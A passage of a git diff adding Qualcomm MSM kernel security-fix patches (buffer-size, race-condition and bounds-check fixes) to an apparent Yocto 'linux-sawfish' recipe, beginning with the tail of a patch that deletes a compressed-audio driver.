memset(¶ms32, 0 , sizeof(params32)); +- memset(¶ms, 0 , sizeof(params)); +- cmd = SNDRV_COMPRESS_SET_PARAMS; +- if (copy_from_user(¶ms32, arg, sizeof(params32))) { +- pr_err("%s: copyfromuser failed SET_PARAMS32\n", +- __func__); +- err = -EFAULT; +- goto bail_out; +- } +- params.no_wake_mode = params32.no_wake_mode; +- params.codec.id = params32.codec.id; +- params.codec.ch_in = params32.codec.ch_in; +- params.codec.ch_out = params32.codec.ch_out; +- params.codec.sample_rate = params32.codec.sample_rate; +- params.codec.bit_rate = params32.codec.bit_rate; +- params.codec.rate_control = params32.codec.rate_control; +- params.codec.profile = params32.codec.profile; +- params.codec.level = params32.codec.level; +- params.codec.ch_mode = params32.codec.ch_mode; +- params.codec.format = params32.codec.format; +- params.codec.align = params32.codec.align; +- +- switch (params.codec.id) { +- case SND_AUDIOCODEC_WMA: +- case SND_AUDIOCODEC_WMA_PRO: +- params.codec.options.wma.encodeopt1 = +- params32.codec.options.wma.encodeopt1; +- params.codec.options.wma.encodeopt2 = +- params32.codec.options.wma.encodeopt2; +- params.codec.options.wma.super_block_align = +- params32.codec.options.wma.super_block_align; +- break; +- case SND_AUDIOCODEC_VORBIS: +- params.codec.options.vorbis.downmix = +- params32.codec.options.vorbis.downmix; +- params.codec.options.vorbis.managed = +- params32.codec.options.vorbis.managed; +- params.codec.options.vorbis.max_bit_rate = +- params32.codec.options.vorbis.max_bit_rate; +- params.codec.options.vorbis.min_bit_rate = +- params32.codec.options.vorbis.min_bit_rate; +- params.codec.options.vorbis.quality = +- params32.codec.options.vorbis.quality; +- break; +- case SND_AUDIOCODEC_REAL: +- params.codec.options.real.num_regions = +- params32.codec.options.real.num_regions; +- params.codec.options.real.quant_bits = +- params32.codec.options.real.quant_bits; +- params.codec.options.real.start_region = +- params32.codec.options.real.start_region; +- break; +- case SND_AUDIOCODEC_FLAC: +- params.codec.options.flac.gain = +- params32.codec.options.flac.gain; +- params.codec.options.flac.num = +- params32.codec.options.flac.num; +- break; +- case SND_AUDIOCODEC_DTS: +- case SND_AUDIOCODEC_DTS_PASS_THROUGH: +- case SND_AUDIOCODEC_DTS_LBR: +- case SND_AUDIOCODEC_DTS_LBR_PASS_THROUGH: +- case SND_AUDIOCODEC_DTS_TRANSCODE_LOOPBACK: +- break; +- case SND_AUDIOCODEC_AC3: +- case SND_AUDIOCODEC_EAC3: +- params.codec.options.ddp.params_length = +- params32.codec.options.ddp.params_length; +- memcpy(params.codec.options.ddp.params_value, +- params32.codec.options.ddp.params_value, +- sizeof(params32.codec.options.ddp.params_value)); +- memcpy(params.codec.options.ddp.params_id, +- params32.codec.options.ddp.params_id, +- sizeof(params32.codec.options.ddp.params_id)); +- break; +- default: +- params.codec.options.generic.bw = +- params32.codec.options.generic.bw; +- break; +- } +- if (!err) +- err = msm_compr_ioctl_shared(substream, cmd, ¶ms); +- break; +- } +- default: +- err = msm_compr_ioctl_shared(substream, cmd, arg); +- } +-bail_out: +- return err; +- +-} +-#endif +-static int msm_compr_ioctl(struct snd_pcm_substream *substream, +- unsigned int cmd, void *arg) +-{ +- int err = 0; +- if (!substream) { +- pr_err("%s: Invalid params\n", __func__); +- return -EINVAL; +- } +- pr_debug("%s called with cmd = %d\n", __func__, cmd); +- switch (cmd) { +- case SNDRV_COMPRESS_TSTAMP: { +- struct snd_compr_tstamp tstamp; +- if (!arg) { +- pr_err("%s: Invalid params Tstamp\n", __func__); +- return -EINVAL; +- } +- err = msm_compr_ioctl_shared(substream, cmd, &tstamp); +- if (err) +- pr_err("%s: COMPRESS_TSTAMP failed rc %d\n", +- __func__, err); +- if (!err && copy_to_user(arg, &tstamp, sizeof(tstamp))) { +- pr_err("%s: copytouser failed COMPRESS_TSTAMP\n", +- __func__); +- err = -EFAULT; +- } +- break; +- } +- case SNDRV_COMPRESS_GET_CAPS: { +- struct snd_compr_caps cap; +- if (!arg) { +- pr_err("%s: Invalid params getcaps\n", __func__); +- return -EINVAL; +- } +- pr_debug("SNDRV_COMPRESS_GET_CAPS\n"); +- err = msm_compr_ioctl_shared(substream, cmd, &cap); +- if (err) +- pr_err("%s: GET_CAPS failed rc %d\n", +- __func__, err); +- if (!err && copy_to_user(arg, &cap, sizeof(cap))) { +- pr_err("%s: copytouser failed GET_CAPS\n", +- __func__); +- err = -EFAULT; +- } +- break; +- } +- case SNDRV_COMPRESS_SET_PARAMS: { +- struct snd_compr_params params; +- if (!arg) { +- pr_err("%s: Invalid params setparam\n", __func__); +- return -EINVAL; +- } +- if (copy_from_user(¶ms, arg, +- sizeof(struct snd_compr_params))) { +- pr_err("%s: SET_PARAMS\n", __func__); +- return -EFAULT; +- } +- err = msm_compr_ioctl_shared(substream, cmd, ¶ms); +- if (err) +- pr_err("%s: SET_PARAMS failed rc %d\n", +- __func__, err); +- break; +- } +- default: +- err = msm_compr_ioctl_shared(substream, cmd, arg); +- } +- return err; +-} +- +-static int msm_compr_restart(struct snd_pcm_substream *substream) +-{ +- struct snd_pcm_runtime *runtime = substream->runtime; +- struct compr_audio *compr = runtime->private_data; +- struct msm_audio *prtd = &compr->prtd; +- struct audio_aio_write_param param; +- struct audio_buffer *buf = NULL; +- struct output_meta_data_st output_meta_data; +- int time_stamp_flag = 0; +- int buffer_length = 0; +- +- pr_debug("%s, trigger restart\n", __func__); +- +- if (runtime->render_flag & SNDRV_RENDER_STOPPED) { +- buf = prtd->audio_client->port[IN].buf; +- pr_debug("%s:writing %d bytes of buffer[%d] to dsp 2\n", +- __func__, prtd->pcm_count, prtd->out_head); +- pr_debug("%s:writing buffer[%d] from 0x%08x\n", +- __func__, prtd->out_head, +- ((unsigned int)buf[0].phys +- + (prtd->out_head * prtd->pcm_count))); +- +- if (runtime->tstamp_mode == SNDRV_PCM_TSTAMP_ENABLE) +- time_stamp_flag = SET_TIMESTAMP; +- else +- time_stamp_flag = NO_TIMESTAMP; +- memcpy(&output_meta_data, (char *)(buf->data + +- prtd->out_head * prtd->pcm_count), +- COMPRE_OUTPUT_METADATA_SIZE); +- +- buffer_length = output_meta_data.frame_size; +- pr_debug("meta_data_length: %d, frame_length: %d\n", +- output_meta_data.meta_data_length, +- output_meta_data.frame_size); +- pr_debug("timestamp_msw: %d, timestamp_lsw: %d\n", +- output_meta_data.timestamp_msw, +- output_meta_data.timestamp_lsw); +- +- param.paddr = (unsigned long)buf[0].phys +- + (prtd->out_head * prtd->pcm_count) +- + output_meta_data.meta_data_length; +- param.len = buffer_length; +- param.msw_ts = output_meta_data.timestamp_msw; +- param.lsw_ts = output_meta_data.timestamp_lsw; +- param.flags = time_stamp_flag; +- param.uid = prtd->session_id; +- if (q6asm_async_write(prtd->audio_client, +- ¶m) < 0) +- pr_err("%s:q6asm_async_write failed\n", +- __func__); +- else +- prtd->out_head = +- (prtd->out_head + 1) & (runtime->periods - 1); +- +- runtime->render_flag &= ~SNDRV_RENDER_STOPPED; +- return 0; +- } +- return 0; +-} +- +-static int msm_compr_volume_ctl_put(struct snd_kcontrol *kcontrol, +- struct snd_ctl_elem_value *ucontrol) +-{ +- int rc = 0; +- struct snd_pcm_volume *vol = snd_kcontrol_chip(kcontrol); +- struct snd_pcm_substream *substream = +- vol->pcm->streams[SNDRV_PCM_STREAM_PLAYBACK].substream; +- struct msm_audio *prtd; +- int volume = ucontrol->value.integer.value[0]; +- +- pr_debug("%s: volume : %x\n", __func__, volume); +- if (!substream) +- return -ENODEV; +- if (!substream->runtime) +- return 0; +- prtd = substream->runtime->private_data; +- if (prtd) +- rc = compressed_set_volume(prtd, volume); +- +- return rc; +-} +- +-static int msm_compr_volume_ctl_get(struct snd_kcontrol *kcontrol, +- struct snd_ctl_elem_value *ucontrol) +-{ +- struct snd_pcm_volume *vol = snd_kcontrol_chip(kcontrol); +- struct snd_pcm_substream *substream = +- vol->pcm->streams[SNDRV_PCM_STREAM_PLAYBACK].substream; +- struct msm_audio *prtd; +- +- pr_debug("%s\n", __func__); +- if (!substream) +- return -ENODEV; +- if (!substream->runtime) +- return 0; +- prtd = substream->runtime->private_data; +- if (prtd) +- ucontrol->value.integer.value[0] = prtd->volume; +- return 0; +-} +- +-static int msm_compr_add_controls(struct snd_soc_pcm_runtime *rtd) +-{ +- int ret = 0; +- struct snd_pcm *pcm = rtd->pcm; +- struct snd_pcm_volume *volume_info; +- struct snd_kcontrol *kctl; +- +- dev_dbg(rtd->dev, "%s, Volume cntrl add\n", __func__); +- ret = snd_pcm_add_volume_ctls(pcm, SNDRV_PCM_STREAM_PLAYBACK, +- NULL, 1, rtd->dai_link->be_id, +- &volume_info); +- if (ret < 0) +- return ret; +- kctl = volume_info->kctl; +- kctl->put = msm_compr_volume_ctl_put; +- kctl->get = msm_compr_volume_ctl_get; +- kctl->tlv.p = compr_rx_vol_gain; +- return 0; +-} +- +-static struct snd_pcm_ops msm_compr_ops = { +- .open = msm_compr_open, +- .hw_params = msm_compr_hw_params, +- .close = msm_compr_close, +- .ioctl = msm_compr_ioctl, +- .prepare = msm_compr_prepare, +- .trigger = msm_compr_trigger, +- .pointer = msm_compr_pointer, +- .mmap = msm_compr_mmap, +- .restart = msm_compr_restart, +-#ifdef CONFIG_COMPAT +- .compat_ioctl = msm_compr_compat_ioctl, +-#endif +-}; +- +-static int msm_asoc_pcm_new(struct snd_soc_pcm_runtime *rtd) +-{ +- struct snd_card *card = rtd->card->snd_card; +- int ret = 0; +- +- if (!card->dev->coherent_dma_mask) +- card->dev->coherent_dma_mask = DMA_BIT_MASK(32); +- +- ret = msm_compr_add_controls(rtd); +- if (ret) +- pr_err("%s, kctl add failed\n", __func__); +- return ret; +-} +- +-static struct snd_soc_platform_driver msm_soc_platform = { +- .ops = &msm_compr_ops, +- .pcm_new = msm_asoc_pcm_new, +-}; +- +-static int msm_compr_probe(struct platform_device *pdev) +-{ +- +- dev_info(&pdev->dev, "%s: dev name %s\n", +- __func__, dev_name(&pdev->dev)); +- +- return snd_soc_register_platform(&pdev->dev, +- &msm_soc_platform); +-} +- +-static int msm_compr_remove(struct platform_device *pdev) +-{ +- snd_soc_unregister_platform(&pdev->dev); +- return 0; +-} +- +-static const struct of_device_id msm_compr_dt_match[] = { +- {.compatible = "qcom,msm-compr-dsp"}, +- {} +-}; +-MODULE_DEVICE_TABLE(of, msm_compr_dt_match); +- +-static struct platform_driver msm_compr_driver = { +- .driver = { +- .name = "msm-compr-dsp", +- .owner = THIS_MODULE, +- .of_match_table = msm_compr_dt_match, +- }, +- .probe = msm_compr_probe, +- .remove = msm_compr_remove, +-}; +- +-static int __init msm_soc_platform_init(void) +-{ +- init_waitqueue_head(&the_locks.enable_wait); +- init_waitqueue_head(&the_locks.eos_wait); +- init_waitqueue_head(&the_locks.write_wait); +- init_waitqueue_head(&the_locks.read_wait); +- init_waitqueue_head(&the_locks.flush_wait); +- +- return platform_driver_register(&msm_compr_driver); +-} +-module_init(msm_soc_platform_init); +- +-static void __exit msm_soc_platform_exit(void) +-{ +- platform_driver_unregister(&msm_compr_driver); +-} +-module_exit(msm_soc_platform_exit); +- +-MODULE_DESCRIPTION("PCM module platform driver"); +-MODULE_LICENSE("GPL v2"); +diff --git a/sound/soc/msm/qdsp6v2/msm-compr-q6-v2.h b/sound/soc/msm/qdsp6v2/msm-compr-q6-v2.h +deleted file mode 100644 +index d6e3ec6..0000000 +--- a/sound/soc/msm/qdsp6v2/msm-compr-q6-v2.h ++++ /dev/null +@@ -1,36 +0,0 @@ +-/* +- * Copyright (c) 2012, The Linux Foundation. All rights reserved. +- * +- * This program is free software; you can redistribute it and/or modify +- * it under the terms of the GNU General Public License version 2 and +- * only version 2 as published by the Free Software Foundation. +- * +- * This program is distributed in the hope that it will be useful, +- * but WITHOUT ANY WARRANTY; without even the implied warranty of +- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- * GNU General Public License for more details. +- */ +- +-#ifndef _MSM_COMPR_H +-#define _MSM_COMPR_H +-#include +-#include +-#include +-#include +-#include +- +-#include "msm-pcm-q6-v2.h" +- +-struct compr_info { +- struct snd_compr_caps compr_cap; +- struct snd_compr_codec_caps codec_caps; +- struct snd_compr_params codec_param; +-}; +- +-struct compr_audio { +- struct msm_audio prtd; +- struct compr_info info; +- uint32_t codec; +-}; +- +-#endif /*_MSM_COMPR_H*/ +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0244-420d0dc1b456-PATCH msm mdss fix memcpy source and dest memory buffer size.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0244-420d0dc1b456-PATCH msm mdss fix memcpy source and dest memory buffer size.patch new file mode 100644 index 0000000..959bc8f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0244-420d0dc1b456-PATCH msm mdss fix memcpy source and dest memory buffer size.patch @@ -0,0 +1,42 @@ +From 420d0dc1b4563880f962002e8cb21e733bf074eb Mon Sep 17 00:00:00 2001 +From: Harsh Sahu +Date: Fri, 21 Apr 2017 16:12:22 -0700 +Subject: [PATCH] msm: mdss: fix memcpy source and dest memory buffer size + mismatch + +Currently memcpy is copying from a bigger memory size to a smaller +memory size, which may lead to buffer overflow. This change corrects +this issue by performing the memcopy restricted to the smaller of the +src or dest memory buffer. + +Bug: 35258962 +Change-Id: Ibbe5665083799a4262d3cfbb06f94f3e35e03748 +Signed-off-by: Harsh Sahu +--- + drivers/video/msm/mdss/mdss_compat_utils.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/drivers/video/msm/mdss/mdss_compat_utils.c b/drivers/video/msm/mdss/mdss_compat_utils.c +index 7159d91148645..ec08626ba7765 100644 +--- a/drivers/video/msm/mdss/mdss_compat_utils.c ++++ b/drivers/video/msm/mdss/mdss_compat_utils.c +@@ -119,14 +119,18 @@ static unsigned int __do_compat_ioctl_nr(unsigned int cmd32) + static void __copy_atomic_commit_struct(struct mdp_layer_commit *commit, + struct mdp_layer_commit32 *commit32) + { ++ unsigned int destSize = sizeof(commit->commit_v1.reserved); ++ unsigned int srcSize = sizeof(commit32->commit_v1.reserved); ++ unsigned int count = (destSize <= srcSize ? destSize : srcSize); + commit->version = commit32->version; + commit->commit_v1.flags = commit32->commit_v1.flags; + commit->commit_v1.input_layer_cnt = + commit32->commit_v1.input_layer_cnt; + commit->commit_v1.left_roi = commit32->commit_v1.left_roi; + commit->commit_v1.right_roi = commit32->commit_v1.right_roi; ++ + memcpy(&commit->commit_v1.reserved, &commit32->commit_v1.reserved, +- sizeof(commit32->commit_v1.reserved)); ++ count); + } + + static struct mdp_input_layer32 *__create_layer_list32( diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0245-de875dd095d3-msm sps Fix race condition in SPS debugfs APIs.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0245-de875dd095d3-msm sps Fix race condition in SPS debugfs APIs.patch new file mode 100644 index 0000000..1b784b0 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0245-de875dd095d3-msm sps Fix race condition in SPS debugfs APIs.patch @@ -0,0 +1,193 @@ +From de875dd095d3ec0906c77518d28f793e6c69a9da Mon Sep 17 00:00:00 2001 +From: Siva Kumar Akkireddi +Date: Thu, 11 May 2017 15:29:47 +0530 +Subject: msm: sps: Fix race condition in SPS debugfs APIs + +SPS debugfs APIs can be called concurrently which can result +in dangling pointer access. This change synchronizes access +to the SPS debugfs buffer. + +Change-Id: I409b3f0618f760cb67eba47b43c81d166cdae4aa +Signed-off-by: Siva Kumar Akkireddi +--- + drivers/platform/msm/sps/sps.c | 15 ++++++++++++++- + drivers/platform/msm/sps/spsi.h | 17 ----------------- + 2 files changed, 14 insertions(+), 18 deletions(-) + +diff --git a/drivers/platform/msm/sps/sps.c b/drivers/platform/msm/sps/sps.c +index b812960..e2abeaf 100644 +--- a/drivers/platform/msm/sps/sps.c ++++ b/drivers/platform/msm/sps/sps.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2011-2016 , The Linux Foundation. All rights reserved. ++/* Copyright (c) 2011-2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -67,6 +67,7 @@ static char *debugfs_buf; + static u32 debugfs_buf_size; + static u32 debugfs_buf_used; + static int wraparound; ++static struct mutex sps_debugfs_lock; + + struct dentry *dent; + struct dentry *dfile_info; +@@ -85,6 +86,7 @@ static struct sps_bam *phy2bam(phys_addr_t phys_addr); + /* record debug info for debugfs */ + void sps_debugfs_record(const char *msg) + { ++ mutex_lock(&sps_debugfs_lock); + if (debugfs_record_enabled) { + if (debugfs_buf_used + MAX_MSG_LEN >= debugfs_buf_size) { + debugfs_buf_used = 0; +@@ -98,6 +100,7 @@ void sps_debugfs_record(const char *msg) + debugfs_buf_size - debugfs_buf_used, + "\n**** end line of sps log ****\n\n"); + } ++ mutex_unlock(&sps_debugfs_lock); + } + + /* read the recorded debug info to userspace */ +@@ -107,6 +110,7 @@ static ssize_t sps_read_info(struct file *file, char __user *ubuf, + int ret = 0; + int size; + ++ mutex_lock(&sps_debugfs_lock); + if (debugfs_record_enabled) { + if (wraparound) + size = debugfs_buf_size - MAX_MSG_LEN; +@@ -116,6 +120,7 @@ static ssize_t sps_read_info(struct file *file, char __user *ubuf, + ret = simple_read_from_buffer(ubuf, count, ppos, + debugfs_buf, size); + } ++ mutex_unlock(&sps_debugfs_lock); + + return ret; + } +@@ -161,11 +166,13 @@ static ssize_t sps_set_info(struct file *file, const char __user *buf, + + new_buf_size = buf_size_kb * SZ_1K; + ++ mutex_lock(&sps_debugfs_lock); + if (debugfs_record_enabled) { + if (debugfs_buf_size == new_buf_size) { + /* need do nothing */ + pr_info("sps:debugfs: input buffer size " + "is the same as before.\n"); ++ mutex_unlock(&sps_debugfs_lock); + return count; + } else { + /* release the current buffer */ +@@ -185,12 +192,14 @@ static ssize_t sps_set_info(struct file *file, const char __user *buf, + if (!debugfs_buf) { + debugfs_buf_size = 0; + pr_err("sps:fail to allocate memory for debug_fs.\n"); ++ mutex_unlock(&sps_debugfs_lock); + return -ENOMEM; + } + + debugfs_buf_used = 0; + wraparound = false; + debugfs_record_enabled = true; ++ mutex_unlock(&sps_debugfs_lock); + + return count; + } +@@ -239,6 +248,7 @@ static ssize_t sps_set_logging_option(struct file *file, const char __user *buf, + return count; + } + ++ mutex_lock(&sps_debugfs_lock); + if (((option == 0) || (option == 2)) && + ((logging_option == 1) || (logging_option == 3))) { + debugfs_record_enabled = false; +@@ -250,6 +260,7 @@ static ssize_t sps_set_logging_option(struct file *file, const char __user *buf, + } + + logging_option = option; ++ mutex_unlock(&sps_debugfs_lock); + + return count; + } +@@ -587,6 +598,8 @@ static void sps_debugfs_init(void) + goto bam_log_level_err; + } + ++ mutex_init(&sps_debugfs_lock); ++ + return; + + bam_log_level_err: +diff --git a/drivers/platform/msm/sps/spsi.h b/drivers/platform/msm/sps/spsi.h +index ccf761e..abf4b04 100644 +--- a/drivers/platform/msm/sps/spsi.h ++++ b/drivers/platform/msm/sps/spsi.h +@@ -145,11 +145,6 @@ extern u8 print_limit_option; + pr_info(msg, ##args); \ + } \ + } while (0) +-#define SPS_DEBUGFS(msg, args...) do { \ +- char buf[MAX_MSG_LEN]; \ +- snprintf(buf, MAX_MSG_LEN, msg"\n", ##args); \ +- sps_debugfs_record(buf); \ +- } while (0) + #define SPS_ERR(dev, msg, args...) do { \ + if (logging_option != 1) { \ + if (unlikely(print_limit_option > 2)) \ +@@ -157,8 +152,6 @@ extern u8 print_limit_option; + else \ + pr_err(msg, ##args); \ + } \ +- if (unlikely(debugfs_record_enabled)) \ +- SPS_DEBUGFS(msg, ##args); \ + SPS_IPC(3, dev, msg, args); \ + } while (0) + #define SPS_INFO(dev, msg, args...) do { \ +@@ -168,8 +161,6 @@ extern u8 print_limit_option; + else \ + pr_info(msg, ##args); \ + } \ +- if (unlikely(debugfs_record_enabled)) \ +- SPS_DEBUGFS(msg, ##args); \ + SPS_IPC(3, dev, msg, args); \ + } while (0) + #define SPS_DBG(dev, msg, args...) do { \ +@@ -181,8 +172,6 @@ extern u8 print_limit_option; + pr_info(msg, ##args); \ + } else \ + pr_debug(msg, ##args); \ +- if (unlikely(debugfs_record_enabled)) \ +- SPS_DEBUGFS(msg, ##args); \ + if (dev) { \ + if ((dev)->ipc_loglevel <= 0) \ + SPS_IPC(0, dev, msg, args); \ +@@ -197,8 +186,6 @@ extern u8 print_limit_option; + pr_info(msg, ##args); \ + } else \ + pr_debug(msg, ##args); \ +- if (unlikely(debugfs_record_enabled)) \ +- SPS_DEBUGFS(msg, ##args); \ + if (dev) { \ + if ((dev)->ipc_loglevel <= 1) \ + SPS_IPC(1, dev, msg, args); \ +@@ -213,8 +200,6 @@ extern u8 print_limit_option; + pr_info(msg, ##args); \ + } else \ + pr_debug(msg, ##args); \ +- if (unlikely(debugfs_record_enabled)) \ +- SPS_DEBUGFS(msg, ##args); \ + if (dev) { \ + if ((dev)->ipc_loglevel <= 2) \ + SPS_IPC(2, dev, msg, args); \ +@@ -229,8 +214,6 @@ extern u8 print_limit_option; + pr_info(msg, ##args); \ + } else \ + pr_debug(msg, ##args); \ +- if (unlikely(debugfs_record_enabled)) \ +- SPS_DEBUGFS(msg, ##args); \ + if (dev) { \ + if ((dev)->ipc_loglevel <= 3) \ + SPS_IPC(3, dev, msg, args); \ +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0246-a0c5be84c2cc-msm camera validate numstreams in streamcfgcmd before using it.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0246-a0c5be84c2cc-msm camera validate numstreams in streamcfgcmd before using it.patch new file mode 100644 index 0000000..51b7ddf --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0246-a0c5be84c2cc-msm camera validate numstreams in streamcfgcmd before using it.patch @@ -0,0 +1,35 @@ +From a0c5be84c2cc47900889e85684e2e24e9719876f Mon Sep 17 00:00:00 2001 +From: Gaoxiang Chen +Date: Wed, 17 May 2017 16:14:20 +0800 +Subject: msm: camera: validate num_streams in stream_cfg_cmd before using it + +stream_cfg_cmd->num_streams is from userspace, +need to check it against MSM_ISP_STATS_MAX before using it. + +CRs-Fixed: 2029867 +Change-Id: I2ab892b7d406fc56de94c261a396866269e91d1a +Signed-off-by: Gaoxiang Chen +--- + drivers/media/platform/msm/camera_v2/isp/msm_isp_stats_util.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/drivers/media/platform/msm/camera_v2/isp/msm_isp_stats_util.c b/drivers/media/platform/msm/camera_v2/isp/msm_isp_stats_util.c +index ea56d1a..d66a46a 100644 +--- a/drivers/media/platform/msm/camera_v2/isp/msm_isp_stats_util.c ++++ b/drivers/media/platform/msm/camera_v2/isp/msm_isp_stats_util.c +@@ -860,6 +860,12 @@ int msm_isp_cfg_stats_stream(struct vfe_device *vfe_dev, void *arg) + if (vfe_dev->stats_data.num_active_stream == 0) + vfe_dev->hw_info->vfe_ops.stats_ops.cfg_ub(vfe_dev); + ++ if (stream_cfg_cmd->num_streams > MSM_ISP_STATS_MAX) { ++ pr_err("%s invalid num_streams %d\n", __func__, ++ stream_cfg_cmd->num_streams); ++ return -EINVAL; ++ } ++ + if (stream_cfg_cmd->enable) { + msm_isp_stats_update_cgc_override(vfe_dev, stream_cfg_cmd); + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0247-4b788ca419ec-PATCH diag Synchronize command registration table access.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0247-4b788ca419ec-PATCH diag Synchronize command registration table access.patch new file mode 100644 index 0000000..ec34d81 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0247-4b788ca419ec-PATCH diag Synchronize command registration table access.patch @@ -0,0 +1,55 @@ +From 4b788ca419ec37e4cdb421fef9edc208a491ce30 Mon Sep 17 00:00:00 2001 +From: Mohit Aggarwal +Date: Thu, 25 May 2017 20:21:12 +0530 +Subject: [PATCH] diag: Synchronize command registration table access + +Currently, command registration table is being read +in debugfs without any protection which may lead to +access of stale entries. The patch takes care of the +issue by adding proper protection. + +CRs-Fixed: 2032672 +Bug: 63868628 +Change-Id: I6ae058c16873f9ed52ae6516a1a70fd6d2d0da80 +Signed-off-by: Mohit Aggarwal +--- + drivers/char/diag/diag_debugfs.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/drivers/char/diag/diag_debugfs.c b/drivers/char/diag/diag_debugfs.c +index f5e4eba1e96bc..b66c8cb8257c2 100644 +--- a/drivers/char/diag/diag_debugfs.c ++++ b/drivers/char/diag/diag_debugfs.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2011-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2011-2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -268,8 +268,10 @@ static ssize_t diag_dbgfs_read_table(struct file *file, char __user *ubuf, + struct list_head *temp; + struct diag_cmd_reg_t *item = NULL; + ++ mutex_lock(&driver->cmd_reg_mutex); + if (diag_dbgfs_table_index == driver->cmd_reg_count) { + diag_dbgfs_table_index = 0; ++ mutex_unlock(&driver->cmd_reg_mutex); + return 0; + } + +@@ -278,6 +280,7 @@ static ssize_t diag_dbgfs_read_table(struct file *file, char __user *ubuf, + buf = kzalloc(sizeof(char) * buf_size, GFP_KERNEL); + if (ZERO_OR_NULL_PTR(buf)) { + pr_err("diag: %s, Error allocating memory\n", __func__); ++ mutex_unlock(&driver->cmd_reg_mutex); + return -ENOMEM; + } + buf_size = ksize(buf); +@@ -322,6 +325,7 @@ static ssize_t diag_dbgfs_read_table(struct file *file, char __user *ubuf, + break; + } + diag_dbgfs_table_index = i; ++ mutex_unlock(&driver->cmd_reg_mutex); + + *ppos = 0; + ret = simple_read_from_buffer(ubuf, count, ppos, buf, bytes_in_buffer); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0248-56eda148aa84-PATCH drmmsm Fix possible overflow issue in submitcmd.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0248-56eda148aa84-PATCH drmmsm Fix possible overflow issue in submitcmd.patch new file mode 100644 index 0000000..3f7d370 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0248-56eda148aa84-PATCH drmmsm Fix possible overflow issue in submitcmd.patch @@ -0,0 +1,47 @@ +From 56eda148aa841cd7e4af75ffbf8fa33d496a8ef0 Mon Sep 17 00:00:00 2001 +From: Jordan Crouse +Date: Mon, 12 Jun 2017 09:16:42 -0600 +Subject: [PATCH] drm/msm: Fix possible overflow issue in submit_cmd + +When verifying that the submit_cmd offset and size do not exceed the +bounds of the GEM object make sure to cast the math operation +into a suitably large buffer to account for overflow. + +Bug: 63868678 +Change-Id: Ic0dedbad97513ee538d539e771038b3cf0405e91 +Signed-off-by: Jordan Crouse +Signed-off-by: Sharat Masetty +--- + drivers/gpu/drm/msm/msm_gem_submit.c | 12 ++++++++---- + 1 file changed, 8 insertions(+), 4 deletions(-) + +diff --git a/drivers/gpu/drm/msm/msm_gem_submit.c b/drivers/gpu/drm/msm/msm_gem_submit.c +index 4ff8c334e7c8a..cbf3f29205211 100644 +--- a/drivers/gpu/drm/msm/msm_gem_submit.c ++++ b/drivers/gpu/drm/msm/msm_gem_submit.c +@@ -377,7 +377,8 @@ int msm_ioctl_gem_submit(struct drm_device *dev, void *data, + void __user *userptr = + to_user_ptr(args->cmds + (i * sizeof(submit_cmd))); + struct msm_gem_object *msm_obj; +- uint32_t iova; ++ uint64_t iova; ++ size_t size; + + ret = copy_from_user(&submit_cmd, userptr, sizeof(submit_cmd)); + if (ret) { +@@ -409,9 +410,12 @@ int msm_ioctl_gem_submit(struct drm_device *dev, void *data, + goto out; + } + +- if ((submit_cmd.size + submit_cmd.submit_offset) >= +- msm_obj->base.size) { +- DRM_ERROR("invalid cmdstream size: %u\n", submit_cmd.size); ++ size = submit_cmd.size + submit_cmd.submit_offset; ++ ++ if (!submit_cmd.size || (size < submit_cmd.size) || ++ (size > msm_obj->base.size)) { ++ DRM_ERROR("invalid cmdstream offset/size: %u/%u\n", ++ submit_cmd.submit_offset, submit_cmd.size); + ret = -EINVAL; + goto out; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0249-ee2ccf1ce400-ASoC msm qdsp6v2 make audio debugfs read and release exclusive.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0249-ee2ccf1ce400-ASoC msm qdsp6v2 make audio debugfs read and release exclusive.patch new file mode 100644 index 0000000..abb00db --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0249-ee2ccf1ce400-ASoC msm qdsp6v2 make audio debugfs read and release exclusive.patch @@ -0,0 +1,114 @@ +From ee2ccf1ce400d2adda3bfc4273f6a03bdfb19fb9 Mon Sep 17 00:00:00 2001 +From: Divya Ojha +Date: Thu, 27 Apr 2017 22:52:40 +0530 +Subject: ASoC: msm: qdsp6v2: make audio debugfs read and release exclusive + +A thread can read audio debugfs entry while another closes the +device. Protect these operations with a mutex and before read +check audio data to be a valid pointer. + +Change-Id: If29a308c1a8329d7befd047d41abe5f6ab626199 +Signed-off-by: Divya Ojha +--- + drivers/misc/qcom/qdsp6v2/audio_utils_aio.c | 58 ++++++++++++++++++----------- + 1 file changed, 36 insertions(+), 22 deletions(-) + +diff --git a/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c b/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c +index 1633383..1f22ce1 100644 +--- a/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c ++++ b/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c +@@ 